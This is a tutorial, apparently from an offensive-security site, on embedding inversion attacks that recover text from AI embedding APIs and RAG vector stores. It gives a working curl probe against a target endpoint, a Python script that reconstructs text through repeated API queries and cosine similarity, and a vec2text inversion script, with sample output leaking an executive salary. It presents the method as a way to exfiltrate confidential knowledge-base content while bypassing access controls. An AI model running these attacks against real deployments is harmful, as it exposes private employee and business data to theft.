Skip to content
HackIndex logo

HackIndex

Embedding Inversion to Recover Training Data

3 min read Mar 26, 2026

Embedding models compress text into dense vectors. The compression is lossy but not random — similar texts produce similar vectors, and the relationship between text and vector is consistent enough that inversion is possible. Embedding inversion attacks reconstruct the original text from a vector, or recover text close enough to be operationally useful.

The attack is relevant wherever embeddings are stored or returned by an API: vector databases containing RAG chunks, embedding APIs that return vectors for user-supplied input, and model serving endpoints that expose intermediate representations. Recovering the source text from embeddings in an hr_internal or customer_contracts collection is a data exfiltration primitive that bypasses application-level access controls entirely.

Confirm the Embedding API Returns Vectors

Some embedding endpoints return vectors directly in the response. Confirm this before attempting inversion:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_IP/api/embed -H 'Content-Type: application/json' -H 'Authorization: Bearer $TOKEN' -d '{"input":"test query for embedding"}' | python3 -m json.tool 
{
  "embedding": [0.0231, -0.0412, 0.0187, ...],
  "model": "text-embedding-3-small",
  "dimensions": 1536
}

A response containing the raw embedding vector and model name is enough to start inversion. Note the model name and dimensions — the inversion technique depends on which model produced the vector.

Token-Level Inversion via API Queries

For black-box inversion without a local model, reconstruct text by iteratively querying the embedding API. Embed candidate texts and compare cosine similarity to the target vector. High similarity indicates the candidate is close to the original. This is slow but requires no local GPU:

import requests, numpy as np, json

TARGET_IP = '$TARGET_IP'
TOKEN = '$TOKEN'

def get_embedding(text):
    r = requests.post(
        f'https://{TARGET_IP}/api/embed',
        headers={'Authorization': f'Bearer {TOKEN}', 'Content-Type': 'application/json'},
        json={'input': text}
    )
    return np.array(r.json()['embedding'])

def cosine_sim(a, b):
    return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))

# Target vector extracted from vector store scroll
target_vector = np.array([0.0231, -0.0412, 0.0187])  # Replace with actual vector

candidates = [
    'Employee salary review Q3 2025',
    'Executive compensation package CEO',
    'Annual performance bonus structure',
    'HR compensation guide confidential',
]

for c in candidates:
    emb = get_embedding(c)
    sim = cosine_sim(target_vector, emb)
    print(f'{sim:.4f} | {c}')
┌──(kali㉿kali)-[~]
└─$ python3 script.py 
0.9312 | Executive compensation package CEO
0.8841 | HR compensation guide confidential
0.7203 | Annual performance bonus structure
0.6891 | Employee salary review Q3 2025

A similarity above 0.90 for a candidate text confirms that candidate closely matches the source of the target vector. Expand around the highest-scoring candidates by adding synonyms, varying phrasing, and including numeric values to refine the reconstruction.

White-Box Inversion with vec2text

For known embedding models, vec2text provides gradient-based inversion that can recover the original text with high fidelity. It works best against OpenAI text-embedding-ada-002 and text-embedding-3-small, which are the most common models in production RAG deployments:

┌──(kali㉿kali)-[~]
└─$ pip install vec2text --break-system-packages 
import vec2text
import torch
import numpy as np

# Load the corrector trained for text-embedding-ada-002
corrector = vec2text.load_pretrained_corrector('text-embedding-ada-002')

# Target embedding extracted from the vector store
target_embedding = torch.tensor([0.0231, -0.0412, 0.0187]).unsqueeze(0)  # Replace with full 1536-dim vector

# Invert the embedding back to text
inverted_text = vec2text.invert_embeddings(
    embeddings=target_embedding,
    corrector=corrector,
    num_steps=20
)

print('Recovered text:', inverted_text[0])
┌──(kali㉿kali)-[~]
└─$ python3 script2.py 
Recovered text: Executive compensation package for FY2025: CEO base salary $480,000

vec2text requires the full-dimensional embedding vector. Pair it with a vector store scroll attack to extract all vectors from a sensitive collection, then invert them in bulk. The combination dumps the knowledge base content without ever querying the RAG application through its chat interface.

References